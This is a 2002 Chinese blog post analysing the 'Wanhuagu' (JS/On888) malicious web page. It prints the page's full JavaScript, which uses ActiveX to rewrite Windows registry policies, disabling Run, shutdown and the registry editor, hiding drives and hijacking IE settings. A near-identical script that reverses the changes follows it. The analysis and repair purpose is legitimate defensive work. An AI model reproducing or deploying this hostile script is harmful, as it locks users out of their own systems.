CSDN博客

img chutium

网站恶意代码陷阱分析及修复代码

发表于2002/8/22 9:45:00  2692人阅读

“万花谷”网站恶意病毒“陷阱”分析介绍及修复代码
 作者:邱腾 (chutium)

新浪科技报道:
  国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发
一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,
这是有人利用Java最新技术进行破坏的又一个恶意网址。北京江民公司提醒广大上网用户注意严加防范,遇到有On888.xxx之
类的网址请不要点击,并开启KVW3000的病毒实时监视防火墙进行防杀。 

该病毒的技术特征:

JS/On888是一个新的含有有害代码的ActiveX网页文件,它通过在一个网络地址来对计算机用户造成破坏,其破坏特性如下:
 (1)用户不能正常使用WINDOWS的DOS功能程序;
 (2)用户不能正常退出WINDOWS,
 (3)开始菜单上的"关闭系统"、"运行"等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。
 (4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。
具体的表现形式是:
 a:网络地址是:www.on888.xxx.xxx.com
 b:在IE的"收藏夹"中自动加上"万花谷"的快捷方式,网络地址是:"http://96xx.xxx.com";


下面,作者提供病毒代码的分析,及对其修复的代码:

之所以将病毒命名为JS/xxxxx,
其原因就是因为它是在页面中使用了恶意的JavaScript代码:

首先,让我们看看HTML页面是如何修改IE标题的:
原因是利用了下面这段JavaScript代码修改了
HKLM/SOFTWARE/Microsoft/Internet Explorer/Main/

HKCU/Software/Microsoft/Internet Explorer/Main/
中的Window Title这个键的键值;
并修改了用户的许多IE设置,如
消除RUN按纽、消除关闭按纽、消除注销按纽、隐藏桌面、隐藏盘符、禁止注册表等
以下就是这个病毒的代码:

<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
file://Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 01, "REG_BINARY"); file://消除RUN按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 01, "REG_BINARY"); file://消除关闭按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 01, "REG_BINARY"); file://消除注销按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "63000000", "REG_DWORD"); file://隐藏盘符
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000001", "REG_DWORD"); file://禁止注册表
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "您的计算机已经被http://www.cnhack.org/优化: )");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "您的计算机已经被http://www.cnhack.org/优化: )");
file://设置开机提示
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
file://设置IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>


以下是利用一段类似的JavaScript代码修复各项的键值:
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
file://Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 00, "REG_BINARY"); file://修复RUN按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 00, "REG_BINARY"); file://修复关闭按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 00, "REG_BINARY"); file://修复注销按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "00000000", "REG_DWORD"); file://取消隐藏盘符
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000000", "REG_DWORD"); file://取消禁止注册表
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "");
file://重设开机提示
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
file://重设IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>

作者提供了以上程序,大家可以根据自己对注册表的了解自行修改
走走形式……声明,本段代码仅供学习使用,不要将本段代码用在不正当的途径!

0 0

相关博文

我的热门文章

img
取 消
img